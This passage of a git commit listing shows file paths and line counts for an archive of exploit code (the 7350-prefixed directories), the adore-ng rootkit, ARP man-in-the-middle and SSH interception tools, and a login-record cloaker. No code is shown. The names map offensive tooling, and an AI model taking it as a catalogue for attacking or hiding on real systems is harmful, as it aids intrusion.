other/ssharp/groupaccess.h | 49 + other/ssharp/hostfile.c | 215 + other/ssharp/hostfile.h | 40 + other/ssharp/includes.h | 106 + other/ssharp/install-sh | 251 + other/ssharp/kex.c | 471 + other/ssharp/kex.h | 130 + other/ssharp/kexdh.c | 304 + other/ssharp/kexgex.c | 408 + other/ssharp/key.c | 783 ++ other/ssharp/key.h | 84 + other/ssharp/log.c | 387 + other/ssharp/log.h | 80 + other/ssharp/loginrec.c | 1447 +++ other/ssharp/loginrec.h | 137 + other/ssharp/logintest.c | 315 + other/ssharp/mac.c | 114 + other/ssharp/mac.h | 28 + other/ssharp/match.c | 206 + other/ssharp/match.h | 39 + other/ssharp/md5crypt.c | 159 + other/ssharp/md5crypt.h | 32 + other/ssharp/mdoc2man.pl | 364 + other/ssharp/misc.c | 162 + other/ssharp/misc.h | 34 + other/ssharp/mkinstalldirs | 40 + other/ssharp/mpaux.c | 46 + other/ssharp/mpaux.h | 31 + other/ssharp/myproposal.h | 52 + other/ssharp/nchan.c | 504 ++ other/ssharp/nchan.h | 91 + other/ssharp/nchan.ms | 99 + other/ssharp/nchan2.ms | 64 + other/ssharp/netfilter.h | 67 + other/ssharp/openbsd-compat/CVS/Entries | 67 + other/ssharp/openbsd-compat/CVS/Repository | 1 + other/ssharp/openbsd-compat/CVS/Root | 1 + other/ssharp/openbsd-compat/CVS/Tag | 1 + other/ssharp/openbsd-compat/Makefile.in | 39 + other/ssharp/openbsd-compat/base64.c | 316 + other/ssharp/openbsd-compat/base64.h | 18 + other/ssharp/openbsd-compat/bindresvport.c | 123 + other/ssharp/openbsd-compat/bindresvport.h | 12 + other/ssharp/openbsd-compat/bsd-arc4random.c | 77 + other/ssharp/openbsd-compat/bsd-arc4random.h | 37 + other/ssharp/openbsd-compat/bsd-cygwin_util.c | 119 + other/ssharp/openbsd-compat/bsd-cygwin_util.h | 35 + other/ssharp/openbsd-compat/bsd-misc.c | 103 + other/ssharp/openbsd-compat/bsd-misc.h | 76 + other/ssharp/openbsd-compat/bsd-nextstep.c | 103 + other/ssharp/openbsd-compat/bsd-nextstep.h | 58 + other/ssharp/openbsd-compat/bsd-snprintf.c | 744 ++ other/ssharp/openbsd-compat/bsd-snprintf.h | 19 + other/ssharp/openbsd-compat/bsd-waitpid.c | 52 + other/ssharp/openbsd-compat/bsd-waitpid.h | 49 + other/ssharp/openbsd-compat/daemon.c | 81 + other/ssharp/openbsd-compat/daemon.h | 11 + other/ssharp/openbsd-compat/fake-gai-errnos.h | 14 + other/ssharp/openbsd-compat/fake-getaddrinfo.c | 121 + other/ssharp/openbsd-compat/fake-getaddrinfo.h | 47 + other/ssharp/openbsd-compat/fake-getnameinfo.c | 55 + other/ssharp/openbsd-compat/fake-getnameinfo.h | 20 + other/ssharp/openbsd-compat/fake-queue.h | 490 ++ other/ssharp/openbsd-compat/fake-regex.h | 106 + other/ssharp/openbsd-compat/fake-socket.h | 47 + other/ssharp/openbsd-compat/getcwd.c | 237 + other/ssharp/openbsd-compat/getcwd.h | 12 + other/ssharp/openbsd-compat/getgrouplist.c | 103 + other/ssharp/openbsd-compat/getgrouplist.h | 16 + other/ssharp/openbsd-compat/getusershell.c | 138 + other/ssharp/openbsd-compat/getusershell.h | 16 + other/ssharp/openbsd-compat/glob.c | 915 ++ other/ssharp/openbsd-compat/glob.h | 101 + other/ssharp/openbsd-compat/inet_aton.c | 193 + other/ssharp/openbsd-compat/inet_aton.h | 12 + other/ssharp/openbsd-compat/inet_ntoa.c | 64 + other/ssharp/openbsd-compat/inet_ntoa.h | 12 + other/ssharp/openbsd-compat/inet_ntop.c | 211 + other/ssharp/openbsd-compat/inet_ntop.h | 13 + other/ssharp/openbsd-compat/mktemp.c | 183 + other/ssharp/openbsd-compat/mktemp.h | 13 + other/ssharp/openbsd-compat/openbsd-compat.h | 42 + other/ssharp/openbsd-compat/realpath.c | 163 + other/ssharp/openbsd-compat/realpath.h | 13 + other/ssharp/openbsd-compat/rresvport.c | 87 + other/ssharp/openbsd-compat/rresvport.h | 12 + other/ssharp/openbsd-compat/setenv.c | 161 + other/ssharp/openbsd-compat/setenv.h | 14 + other/ssharp/openbsd-compat/setproctitle.c | 102 + other/ssharp/openbsd-compat/setproctitle.h | 12 + other/ssharp/openbsd-compat/sigact.c | 102 + other/ssharp/openbsd-compat/sigact.h | 88 + other/ssharp/openbsd-compat/strlcat.c | 77 + other/ssharp/openbsd-compat/strlcat.h | 12 + other/ssharp/openbsd-compat/strlcpy.c | 73 + other/ssharp/openbsd-compat/strlcpy.h | 12 + other/ssharp/openbsd-compat/strmode.c | 158 + other/ssharp/openbsd-compat/strmode.h | 7 + other/ssharp/openbsd-compat/strsep.c | 89 + other/ssharp/openbsd-compat/strsep.h | 12 + other/ssharp/openbsd-compat/strtok.c | 92 + other/ssharp/openbsd-compat/strtok.h | 12 + other/ssharp/openbsd-compat/vis.c | 139 + other/ssharp/openbsd-compat/vis.h | 34 + other/ssharp/packet.c | 1390 +++ other/ssharp/packet.h | 223 + other/ssharp/pathnames.h | 151 + other/ssharp/primes | 69 + other/ssharp/radix.c | 212 + other/ssharp/radix.h | 28 + other/ssharp/readconf.c | 880 ++ other/ssharp/readconf.h | 155 + other/ssharp/readpass.c | 124 + other/ssharp/readpass.h | 20 + other/ssharp/rijndael.c | 412 + other/ssharp/rijndael.h | 49 + other/ssharp/rsa.c | 141 + other/ssharp/rsa.h | 27 + other/ssharp/scp-common.c | 98 + other/ssharp/scp-common.h | 64 + other/ssharp/scp.0 | 77 + other/ssharp/scp.1 | 137 + other/ssharp/scp.c | 1237 +++ other/ssharp/servconf.c | 817 ++ other/ssharp/servconf.h | 144 + other/ssharp/serverloop.c | 1003 +++ other/ssharp/serverloop.h | 30 + other/ssharp/session.c | 1304 +++ other/ssharp/session.h | 36 + other/ssharp/sftp-client.c | 934 ++ other/ssharp/sftp-client.h | 107 + other/ssharp/sftp-common.c | 146 + other/ssharp/sftp-common.h | 55 + other/ssharp/sftp-glob.c | 168 + other/ssharp/sftp-glob.h | 32 + other/ssharp/sftp-int.c | 915 ++ other/ssharp/sftp-int.h | 27 + other/ssharp/sftp-server.0 | 28 + other/ssharp/sftp-server.8 | 62 + other/ssharp/sftp-server.c | 1106 +++ other/ssharp/sftp.0 | 132 + other/ssharp/sftp.1 | 222 + other/ssharp/sftp.c | 283 + other/ssharp/sftp.h | 91 + other/ssharp/sharpterms.pl | 22 + other/ssharp/ssh-add.0 | 73 + other/ssharp/ssh-add.1 | 138 + other/ssharp/ssh-add.c | 246 + other/ssharp/ssh-agent.0 | 100 + other/ssharp/ssh-agent.1 | 178 + other/ssharp/ssh-agent.c | 887 ++ other/ssharp/ssh-dss.c | 217 + other/ssharp/ssh-dss.h | 41 + other/ssharp/ssh-keygen.0 | 170 + other/ssharp/ssh-keygen.1 | 280 + other/ssharp/ssh-keygen.c | 887 ++ other/ssharp/ssh-keyscan.0 | 72 + other/ssharp/ssh-keyscan.1 | 104 + other/ssharp/ssh-keyscan.c | 646 ++ other/ssharp/ssh-rsa.c | 174 + other/ssharp/ssh-rsa.h | 41 + other/ssharp/ssh-walk | 46 + other/ssharp/ssh.0 | 885 ++ other/ssharp/ssh.1 | 1389 +++ other/ssharp/ssh.c | 1064 +++ other/ssharp/ssh.h | 99 + other/ssharp/ssh1.h | 86 + other/ssharp/ssh2.h | 143 + other/ssharp/ssh_config | 35 + other/ssharp/ssh_prng_cmds.in | 67 + other/ssharp/ssharp.c | 162 + other/ssharp/ssharp.h | 51 + other/ssharp/sshconnect.c | 497 ++ other/ssharp/sshconnect.h | 55 + other/ssharp/sshconnect1.c | 1072 +++ other/ssharp/sshconnect2.c | 991 +++ other/ssharp/sshd.0 | 866 ++ other/ssharp/sshd.8 | 1258 +++ other/ssharp/sshd.c | 1573 ++++ other/ssharp/sshd_config | 72 + other/ssharp/sshlogin.c | 75 + other/ssharp/sshlogin.h | 40 + other/ssharp/sshpty.c | 342 + other/ssharp/sshpty.h | 47 + other/ssharp/sshtty.c | 96 + other/ssharp/sshtty.h | 65 + other/ssharp/tildexpand.c | 72 + other/ssharp/tildexpand.h | 19 + other/ssharp/ttymodes.c | 462 + other/ssharp/ttymodes.h | 172 + other/ssharp/uidswap.c | 155 + other/ssharp/uidswap.h | 36 + other/ssharp/uuencode.c | 75 + other/ssharp/uuencode.h | 32 + other/ssharp/version.h | 3 + other/ssharp/xmalloc.c | 69 + other/ssharp/xmalloc.h | 34 + other/telnetfp-0.1.2/Changelog | 16 + other/telnetfp-0.1.2/Makefile | 10 + other/telnetfp-0.1.2/README | 22 + other/telnetfp-0.1.2/base_net.cpp | 65 + other/telnetfp-0.1.2/fingerdb.cpp | 144 + other/telnetfp-0.1.2/fps | 302 + other/telnetfp-0.1.2/telnetfp.cpp | 267 + other/telnetfp-0.1.2/telnetfp.hpp | 20 + other/utmpcloak/utcl.c | 80 + other/zylyx/ChangeLog | 21 + other/zylyx/ReadMe | 75 + other/zylyx/proxy-list | 724 ++ other/zylyx/src/Makefile | 32 + other/zylyx/src/common.c | 290 + other/zylyx/src/common.h | 25 + other/zylyx/src/network.c | 861 ++ other/zylyx/src/network.h | 342 + other/zylyx/src/proxy.c | 206 + other/zylyx/src/proxy.h | 32 + other/zylyx/src/screen.c | 311 + other/zylyx/src/screen.h | 45 + other/zylyx/src/zylyx.c | 187 + other/zylyx/src/zylyx.h | 30 + 875 files changed, 229867 insertions(+) create mode 100644 exploits/7350ascend/7350ascend-foo.c create mode 100644 exploits/7350bindnxt/Makefile create mode 100644 exploits/7350bindnxt/code.c create mode 100644 exploits/7350bindnxt/code.h create mode 100644 exploits/7350bindnxt/dnslib.c create mode 100644 exploits/7350bindnxt/dnslib.h create mode 100644 exploits/7350bindnxt/nxt.c create mode 100644 exploits/7350bindnxt/vulninfo create mode 100644 exploits/7350delefate/delefate.c create mode 100644 exploits/7350lapsus/7350lapsus.pl create mode 100644 exploits/7350man/7350man.c create mode 100644 exploits/7350pippi/7350pippi.pl create mode 100644 exploits/7350proftpd/pro.c create mode 100644 exploits/7350proftpd/vulninfo create mode 100644 exploits/7350termcap/libtermcapsploit.c create mode 100644 other/3wahas/3wahas.c create mode 100644 other/3wahas/3wahas.h create mode 100644 other/3wahas/Makefile create mode 100644 other/3wahas/README create mode 100644 other/3wahas/common.c create mode 100644 other/3wahas/common.h create mode 100644 other/3wahas/network.c create mode 100644 other/3wahas/network.h create mode 100644 other/3wahas/packet.c create mode 100644 other/3wahas/packet.h create mode 100644 other/3wahas/sniff.c create mode 100644 other/3wahas/sniff.h create mode 100644 other/adore-ng/CVS/Entries create mode 100644 other/adore-ng/CVS/Repository create mode 100644 other/adore-ng/CVS/Root create mode 100644 other/adore-ng/Changelog create mode 100644 other/adore-ng/FEATURES create mode 100644 other/adore-ng/LICENSE create mode 100644 other/adore-ng/Makefile.2.6.gen create mode 100644 other/adore-ng/Makefile.gen create mode 100644 other/adore-ng/README create mode 100644 other/adore-ng/README.26 create mode 100644 other/adore-ng/adore-ng-2.6.c create mode 100644 other/adore-ng/adore-ng.c create mode 100644 other/adore-ng/adore-ng.h create mode 100644 other/adore-ng/adore-ng.mod.c create mode 100644 other/adore-ng/ava.c create mode 100644 other/adore-ng/cleaner.c create mode 100755 other/adore-ng/configure create mode 100644 other/adore-ng/irq_vectors.h create mode 100644 other/adore-ng/libinvisible.c create mode 100644 other/adore-ng/libinvisible.h create mode 100755 other/adore-ng/relink create mode 100755 other/adore-ng/startadore create mode 100644 other/adore-ng/symsed.c create mode 100644 other/adore-ng/visible-start.c create mode 100644 other/arpmitm/Makefile create mode 100644 other/arpmitm/arpmitm.c create mode 100644 other/dirthy/dirthy.c create mode 100644 other/fizzbounce/Makefile create mode 100644 other/fizzbounce/client.c create mode 100644 other/fizzbounce/client.h create mode 100644 other/fizzbounce/main.c create mode 100644 other/fizzbounce/main.h create mode 100644 other/fizzbounce/network.c create mode 100644 other/fizzbounce/network.h create mode 100644 other/fizzbounce/relay.c create mode 100644 other/fizzbounce/relay.h create mode 100644 other/grabbb/Makefile create mode 100644 other/grabbb/README create mode 100644 other/grabbb/grabbb.c create mode 100644 other/guess-who/CVS/Entries create mode 100644 other/guess-who/CVS/Repository create mode 100644 other/guess-who/CVS/Root create mode 100644 other/guess-who/Changes create mode 100644 other/guess-who/LICENSE create mode 100644 other/guess-who/Makefile create mode 100644 other/guess-who/README create mode 100644 other/guess-who/TODO create mode 100644 other/guess-who/base64.cc create mode 100644 other/guess-who/base64.h create mode 100644 other/guess-who/keygen.cc create mode 100644 other/guess-who/main.cc create mode 100644 other/guess-who/misc.cc create mode 100644 other/guess-who/misc.h create mode 100644 other/guess-who/pubscan.cc create mode 100644 other/guess-who/ssh.cc create mode 100644 other/guess-who/ssh.h create mode 100644 other/guess-who/thread.cc create mode 100644 other/guess-who/thread.h create mode 100644 other/itunnel/Makefile create mode 100644 other/itunnel/it.c create mode 100644 other/mipsshellcode/mipsshellcode.pdf create mode 100644 other/openssh-2.1.1p4/COPYING.Ylonen create mode 100644 other/openssh-2.1.1p4/CREDITS create mode 100644 other/openssh-2.1.1p4/ChangeLog create mode 100644 other/openssh-2.1.1p4/INSTALL create mode 100644 other/openssh-2.1.1p4/Makefile create mode 100644 other/openssh-2.1.1p4/Makefile.in create mode 100644 other/openssh-2.1.1p4/OVERVIEW create mode 100644 other/openssh-2.1.1p4/README create mode 100644 other/openssh-2.1.1p4/README.Ylonen create mode 100644 other/openssh-2.1.1p4/README.fun create mode 100644 other/openssh-2.1.1p4/README.openssh2 create mode 100644 other/openssh-2.1.1p4/RFC.nroff create mode 100644 other/openssh-2.1.1p4/TODO create mode 100644 other/openssh-2.1.1p4/UPGRADING create mode 100644 other/openssh-2.1.1p4/acconfig.h create mode 100644 other/openssh-2.1.1p4/aclocal.m4 create mode 100644 other/openssh-2.1.1p4/atomicio.c create mode 100644 other/openssh-2.1.1p4/auth-krb4.c create mode 100644 other/openssh-2.1.1p4/auth-options.c create mode 100644 other/openssh-2.1.1p4/auth-options.h create mode 100644 other/openssh-2.1.1p4/auth-pam.c create mode 100644 other/openssh-2.1.1p4/auth-pam.h create mode 100644 other/openssh-2.1.1p4/auth-passwd.c create mode 100644 other/openssh-2.1.1p4/auth-rh-rsa.c create mode 100644 other/openssh-2.1.1p4/auth-rhosts.c create mode 100644 other/openssh-2.1.1p4/auth-rsa.c create mode 100644 other/openssh-2.1.1p4/auth-skey.c create mode 100644 other/openssh-2.1.1p4/auth.c create mode 100644 other/openssh-2.1.1p4/auth.h create mode 100644 other/openssh-2.1.1p4/auth1.c create mode 100644 other/openssh-2.1.1p4/auth2.c create mode 100644 other/openssh-2.1.1p4/authfd.c create mode 100644 other/openssh-2.1.1p4/authfd.h create mode 100644 other/openssh-2.1.1p4/authfile.c create mode 100644 other/openssh-2.1.1p4/authfile.h create mode 100644 other/openssh-2.1.1p4/aux.c create mode 100644 other/openssh-2.1.1p4/bsd-base64.c create mode 100644 other/openssh-2.1.1p4/bsd-base64.h create mode 100644 other/openssh-2.1.1p4/bsd-bindresvport.c create mode 100644 other/openssh-2.1.1p4/bsd-bindresvport.h create mode 100644 other/openssh-2.1.1p4/bsd-daemon.c create mode 100644 other/openssh-2.1.1p4/bsd-daemon.h create mode 100644 other/openssh-2.1.1p4/bsd-inet_aton.c create mode 100644 other/openssh-2.1.1p4/bsd-inet_aton.h create mode 100644 other/openssh-2.1.1p4/bsd-misc.c create mode 100644 other/openssh-2.1.1p4/bsd-misc.h create mode 100644 other/openssh-2.1.1p4/bsd-mktemp.c create mode 100644 other/openssh-2.1.1p4/bsd-mktemp.h create mode 100644 other/openssh-2.1.1p4/bsd-rresvport.c create mode 100644 other/openssh-2.1.1p4/bsd-rresvport.h create mode 100644 other/openssh-2.1.1p4/bsd-setenv.c create mode 100644 other/openssh-2.1.1p4/bsd-setenv.h create mode 100644 other/openssh-2.1.1p4/bsd-sigaction.c create mode 100644 other/openssh-2.1.1p4/bsd-sigaction.h create mode 100644 other/openssh-2.1.1p4/bsd-snprintf.c create mode 100644 other/openssh-2.1.1p4/bsd-snprintf.h create mode 100644 other/openssh-2.1.1p4/bsd-strlcat.c create mode 100644 other/openssh-2.1.1p4/bsd-strlcat.h create mode 100644 other/openssh-2.1.1p4/bsd-strlcpy.c create mode 100644 other/openssh-2.1.1p4/bsd-strlcpy.h create mode 100644 other/openssh-2.1.1p4/bsd-strsep.c create mode 100644 other/openssh-2.1.1p4/bsd-strsep.h create mode 100644 other/openssh-2.1.1p4/bufaux.c create mode 100644 other/openssh-2.1.1p4/bufaux.h create mode 100644 other/openssh-2.1.1p4/buffer.c create mode 100644 other/openssh-2.1.1p4/buffer.h create mode 100644 other/openssh-2.1.1p4/canohost.c create mode 100644 other/openssh-2.1.1p4/channels.c create mode 100644 other/openssh-2.1.1p4/channels.h create mode 100644 other/openssh-2.1.1p4/cipher.c create mode 100644 other/openssh-2.1.1p4/cipher.h create mode 100644 other/openssh-2.1.1p4/clientloop.c create mode 100644 other/openssh-2.1.1p4/compat.c create mode 100644 other/openssh-2.1.1p4/compat.h create mode 100644 other/openssh-2.1.1p4/compress.c create mode 100644 other/openssh-2.1.1p4/compress.h create mode 100755 other/openssh-2.1.1p4/config.guess create mode 100644 other/openssh-2.1.1p4/config.h create mode 100644 other/openssh-2.1.1p4/config.h.in create mode 100755 other/openssh-2.1.1p4/config.status create mode 100755 other/openssh-2.1.1p4/config.sub create mode 100755 other/openssh-2.1.1p4/configure create mode 100644 other/openssh-2.1.1p4/configure.in create mode 100644 other/openssh-2.1.1p4/contrib/README create mode 100644 other/openssh-2.1.1p4/contrib/chroot.diff create mode 100644 other/openssh-2.1.1p4/contrib/gnome-ssh-askpass.c create mode 100644 other/openssh-2.1.1p4/contrib/make-ssh-known-hosts.1 create mode 100644 other/openssh-2.1.1p4/contrib/make-ssh-known-hosts.pl create mode 100644 other/openssh-2.1.1p4/contrib/redhat/openssh.spec create mode 100755 other/openssh-2.1.1p4/contrib/redhat/sshd.init create mode 100644 other/openssh-2.1.1p4/contrib/redhat/sshd.pam create mode 100644 other/openssh-2.1.1p4/contrib/ssh-copy-id create mode 100644 other/openssh-2.1.1p4/contrib/ssh-copy-id.1 create mode 100644 other/openssh-2.1.1p4/contrib/sshd.pam.freebsd create mode 100644 other/openssh-2.1.1p4/contrib/sshd.pam.generic create mode 100644 other/openssh-2.1.1p4/contrib/suse/openssh.spec create mode 100644 other/openssh-2.1.1p4/contrib/suse/rc.config.sshd create mode 100644 other/openssh-2.1.1p4/contrib/suse/rc.sshd create mode 100644 other/openssh-2.1.1p4/crc32.c create mode 100644 other/openssh-2.1.1p4/crc32.h create mode 100644 other/openssh-2.1.1p4/deattack.c create mode 100644 other/openssh-2.1.1p4/deattack.h create mode 100644 other/openssh-2.1.1p4/defines.h create mode 100644 other/openssh-2.1.1p4/dispatch.c create mode 100644 other/openssh-2.1.1p4/dispatch.h create mode 100644 other/openssh-2.1.1p4/dsa.c create mode 100644 other/openssh-2.1.1p4/dsa.h create mode 100644 other/openssh-2.1.1p4/entropy.c create mode 100644 other/openssh-2.1.1p4/entropy.h create mode 100644 other/openssh-2.1.1p4/fake-gai-errnos.h create mode 100644 other/openssh-2.1.1p4/fake-getaddrinfo.c create mode 100644 other/openssh-2.1.1p4/fake-getaddrinfo.h create mode 100644 other/openssh-2.1.1p4/fake-getnameinfo.c create mode 100644 other/openssh-2.1.1p4/fake-getnameinfo.h create mode 100644 other/openssh-2.1.1p4/fake-socket.h create mode 100644 other/openssh-2.1.1p4/fingerprint.c create mode 100644 other/openssh-2.1.1p4/fingerprint.h create mode 100755 other/openssh-2.1.1p4/fixpaths create mode 100755 other/openssh-2.1.1p4/fixprogs create mode 100644 other/openssh-2.1.1p4/getput.h create mode 100644 other/openssh-2.1.1p4/hmac.c create mode 100644 other/openssh-2.1.1p4/hmac.h create mode 100644 other/openssh-2.1.1p4/hostfile.c create mode 100644 other/openssh-2.1.1p4/hostfile.h create mode 100644 other/openssh-2.1.1p4/includes.h create mode 100755 other/openssh-2.1.1p4/install-sh create mode 100644 other/openssh-2.1.1p4/kex.c create mode 100644 other/openssh-2.1.1p4/kex.h create mode 100644 other/openssh-2.1.1p4/key.c create mode 100644 other/openssh-2.1.1p4/key.h create mode 100644 other/openssh-2.1.1p4/log-client.c create mode 100644 other/openssh-2.1.1p4/log-server.c create mode 100644 other/openssh-2.1.1p4/log.c create mode 100644 other/openssh-2.1.1p4/login.c create mode 100644 other/openssh-2.1.1p4/loginrec.c create mode 100644 other/openssh-2.1.1p4/loginrec.h create mode 100644 other/openssh-2.1.1p4/logintest.c create mode 100644 other/openssh-2.1.1p4/match.c create mode 100644 other/openssh-2.1.1p4/match.h create mode 100644 other/openssh-2.1.1p4/md5crypt.c create mode 100644 other/openssh-2.1.1p4/md5crypt.h create mode 100755 other/openssh-2.1.1p4/mkinstalldirs create mode 100644 other/openssh-2.1.1p4/mpaux.c create mode 100644 other/openssh-2.1.1p4/mpaux.h create mode 100644 other/openssh-2.1.1p4/myproposal.h create mode 100644 other/openssh-2.1.1p4/nchan.c create mode 100644 other/openssh-2.1.1p4/nchan.h create mode 100644 other/openssh-2.1.1p4/nchan.ms create mode 100644 other/openssh-2.1.1p4/nchan2.ms create mode 100644 other/openssh-2.1.1p4/next-posix.c create mode 100644 other/openssh-2.1.1p4/next-posix.h create mode 100644 other/openssh-2.1.1p4/openbsd-compat.h create mode 100644 other/openssh-2.1.1p4/packet.c create mode 100644 other/openssh-2.1.1p4/packet.h create mode 100644 other/openssh-2.1.1p4/pty.c create mode 100644 other/openssh-2.1.1p4/pty.h create mode 100644 other/openssh-2.1.1p4/radix.c create mode 100644 other/openssh-2.1.1p4/readconf.c create mode 100644 other/openssh-2.1.1p4/readconf.h create mode 100644 other/openssh-2.1.1p4/readpass.c create mode 100644 other/openssh-2.1.1p4/rsa.c create mode 100644 other/openssh-2.1.1p4/rsa.h create mode 100644 other/openssh-2.1.1p4/scp.0 create mode 100644 other/openssh-2.1.1p4/scp.1 create mode 100644 other/openssh-2.1.1p4/scp.c create mode 100644 other/openssh-2.1.1p4/servconf.c create mode 100644 other/openssh-2.1.1p4/servconf.h create mode 100644 other/openssh-2.1.1p4/serverloop.c create mode 100644 other/openssh-2.1.1p4/session.c create mode 100644 other/openssh-2.1.1p4/session.h create mode 100644 other/openssh-2.1.1p4/ssh-add.0 create mode 100644 other/openssh-2.1.1p4/ssh-add.1 create mode 100644 other/openssh-2.1.1p4/ssh-add.c create mode 100644 other/openssh-2.1.1p4/ssh-agent.0 create mode 100644 other/openssh-2.1.1p4/ssh-agent.1 create mode 100644 other/openssh-2.1.1p4/ssh-agent.c create mode 100644 other/openssh-2.1.1p4/ssh-keygen.0 create mode 100644 other/openssh-2.1.1p4/ssh-keygen.1 create mode 100644 other/openssh-2.1.1p4/ssh-keygen.c create mode 100644 other/openssh-2.1.1p4/ssh.0 create mode 100644 other/openssh-2.1.1p4/ssh.1 create mode 100644 other/openssh-2.1.1p4/ssh.c create mode 100644 other/openssh-2.1.1p4/ssh.h create mode 100644 other/openssh-2.1.1p4/ssh2.h create mode 100644 other/openssh-2.1.1p4/ssh_config create mode 100644 other/openssh-2.1.1p4/ssh_prng_cmds create mode 100644 other/openssh-2.1.1p4/ssh_prng_cmds.in create mode 100644 other/openssh-2.1.1p4/sshconnect.c create mode 100644 other/openssh-2.1.1p4/sshconnect.h create mode 100644 other/openssh-2.1.1p4/sshconnect1.c create mode 100644 other/openssh-2.1.1p4/sshconnect2.c create mode 100644 other/openssh-2.1.1p4/sshd.0 create mode 100644 other/openssh-2.1.1p4/sshd.8 create mode 100644 other/openssh-2.1.1p4/sshd.c create mode 100644 other/openssh-2.1.1p4/sshd_config create mode 100644 other/openssh-2.1.1p4/tildexpand.c create mode 100644 other/openssh-2.1.1p4/ttymodes.c create mode 100644 other/openssh-2.1.1p4/ttymodes.h create mode 100644 other/openssh-2.1.1p4/uidswap.c create mode 100644 other/openssh-2.1.1p4/uidswap.h create mode 100644 other/openssh-2.1.1p4/uuencode.c create mode 100644 other/openssh-2.1.1p4/uuencode.h create mode 100644 other/openssh-2.1.1p4/version.h create mode 100644 other/openssh-2.1.1p4/xmalloc.c create mode 100644 other/openssh-2.1.1p4/xmalloc.h create mode 100644 other/openssh-reverse/COPYING.Ylonen create mode 100644 other/openssh-reverse/CREDITS create mode 100644 other/openssh-reverse/ChangeLog create mode 100644 other/openssh-reverse/INSTALL create mode 100644 other/openssh-reverse/Makefile create mode 100644 other/openssh-reverse/Makefile.in create mode 100644 other/openssh-reverse/OVERVIEW create mode 100644 other/openssh-reverse/README create mode 100644 other/openssh-reverse/README.Ylonen create mode 100644 other/openssh-reverse/README.fun create mode 100644 other/openssh-reverse/README.openssh2 create mode 100644 other/openssh-reverse/RFC.nroff create mode 100644 other/openssh-reverse/TODO create mode 100644 other/openssh-reverse/UPGRADING create mode 100644 other/openssh-reverse/acconfig.h create mode 100644 other/openssh-reverse/aclocal.m4 create mode 100644 other/openssh-reverse/atomicio.c create mode 100644 other/openssh-reverse/auth-krb4.c create mode 100644 other/openssh-reverse/auth-options.c create mode 100644 other/openssh-reverse/auth-options.h create mode 100644 other/openssh-reverse/auth-pam.c create mode 100644 other/openssh-reverse/auth-pam.h create mode 100644 other/openssh-reverse/auth-passwd.c create mode 100644 other/openssh-reverse/auth-rh-rsa.c create mode 100644 other/openssh-reverse/auth-rhosts.c create mode 100644 other/openssh-reverse/auth-rsa.c create mode 100644 other/openssh-reverse/auth-skey.c create mode 100644 other/openssh-reverse/auth.c create mode 100644 other/openssh-reverse/auth.h create mode 100644 other/openssh-reverse/auth1.c create mode 100644 other/openssh-reverse/auth2.c create mode 100644 other/openssh-reverse/authfd.c create mode 100644 other/openssh-reverse/authfd.h create mode 100644 other/openssh-reverse/authfile.c create mode 100644 other/openssh-reverse/authfile.h create mode 100644 other/openssh-reverse/aux.c create mode 100644 other/openssh-reverse/bsd-base64.c create mode 100644 other/openssh-reverse/bsd-base64.h create mode 100644 other/openssh-reverse/bsd-bindresvport.c create mode 100644 other/openssh-reverse/bsd-bindresvport.h create mode 100644 other/openssh-reverse/bsd-daemon.c create mode 100644 other/openssh-reverse/bsd-daemon.h create mode 100644 other/openssh-reverse/bsd-inet_aton.c create mode 100644 other/openssh-reverse/bsd-inet_aton.h create mode 100644 other/openssh-reverse/bsd-misc.c create mode 100644 other/openssh-reverse/bsd-misc.h create mode 100644 other/openssh-reverse/bsd-mktemp.c create mode 100644 other/openssh-reverse/bsd-mktemp.h create mode 100644 other/openssh-reverse/bsd-rresvport.c create mode 100644 other/openssh-reverse/bsd-rresvport.h create mode 100644 other/openssh-reverse/bsd-setenv.c create mode 100644 other/openssh-reverse/bsd-setenv.h create mode 100644 other/openssh-reverse/bsd-sigaction.c create mode 100644 other/openssh-reverse/bsd-sigaction.h create mode 100644 other/openssh-reverse/bsd-snprintf.c create mode 100644 other/openssh-reverse/bsd-snprintf.h create mode 100644 other/openssh-reverse/bsd-strlcat.c create mode 100644 other/openssh-reverse/bsd-strlcat.h create mode 100644 other/openssh-reverse/bsd-strlcpy.c create mode 100644 other/openssh-reverse/bsd-strlcpy.h create mode 100644 other/openssh-reverse/bsd-strsep.c create mode 100644 other/openssh-reverse/bsd-strsep.h create mode 100644 other/openssh-reverse/bufaux.c create mode 100644 other/openssh-reverse/bufaux.h create mode 100644 other/openssh-reverse/buffer.c create mode 100644 other/openssh-reverse/buffer.h create mode 100644 other/openssh-reverse/canohost.c create mode 100644 other/openssh-reverse/channels.c create mode 100644 other/openssh-reverse/channels.h create mode 100644 other/openssh-reverse/cipher.c create mode 100644 other/openssh-reverse/cipher.h create mode 100644 other/openssh-reverse/clientloop.c create mode 100644 other/openssh-reverse/compat.c create mode 100644 other/openssh-reverse/compat.h create mode 100644 other/openssh-reverse/compress.c create mode 100644 other/openssh-reverse/compress.h create mode 100755 other/openssh-reverse/config.guess create mode 100644 other/openssh-reverse/config.h create mode 100644 other/openssh-reverse/config.h.in create mode 100755 other/openssh-reverse/config.status create mode 100755 other/openssh-reverse/config.sub create mode 100755 other/openssh-reverse/configure create mode 100644 other/openssh-reverse/configure.in create mode 100644 other/openssh-reverse/contrib/README create mode 100644 other/openssh-reverse/contrib/chroot.diff create mode 100644 other/openssh-reverse/contrib/gnome-ssh-askpass.c create mode 100644 other/openssh-reverse/contrib/make-ssh-known-hosts.1 create mode 100644 other/openssh-reverse/contrib/make-ssh-known-hosts.pl create mode 100644 other/openssh-reverse/contrib/redhat/openssh.spec create mode 100755 other/openssh-reverse/contrib/redhat/sshd.init create mode 100644 other/openssh-reverse/contrib/redhat/sshd.pam create mode 100644 other/openssh-reverse/contrib/ssh-copy-id create mode 100644 other/openssh-reverse/contrib/ssh-copy-id.1 create mode 100644 other/openssh-reverse/contrib/sshd.pam.freebsd create mode 100644 other/openssh-reverse/contrib/sshd.pam.generic create mode 100644 other/openssh-reverse/contrib/suse/openssh.spec create mode 100644 other/openssh-reverse/contrib/suse/rc.config.sshd create mode 100644 other/openssh-reverse/contrib/suse/rc.sshd create mode 100644 other/openssh-reverse/crc32.c create mode 100644 other/openssh-reverse/crc32.h create mode 100644 other/openssh-reverse/deattack.c create mode 100644 other/openssh-reverse/deattack.h create mode 100644 other/openssh-reverse/defines.h create mode 100644 other/openssh-reverse/dispatch.c create mode 100644 other/openssh-reverse/dispatch.h create mode 100644 other/openssh-reverse/dsa.c create mode 100644 other/openssh-reverse/dsa.h create mode 100644 other/openssh-reverse/entropy.c create mode 100644 other/openssh-reverse/entropy.h create mode 100644 other/openssh-reverse/fake-gai-errnos.h create mode 100644 other/openssh-reverse/fake-getaddrinfo.c create mode 100644 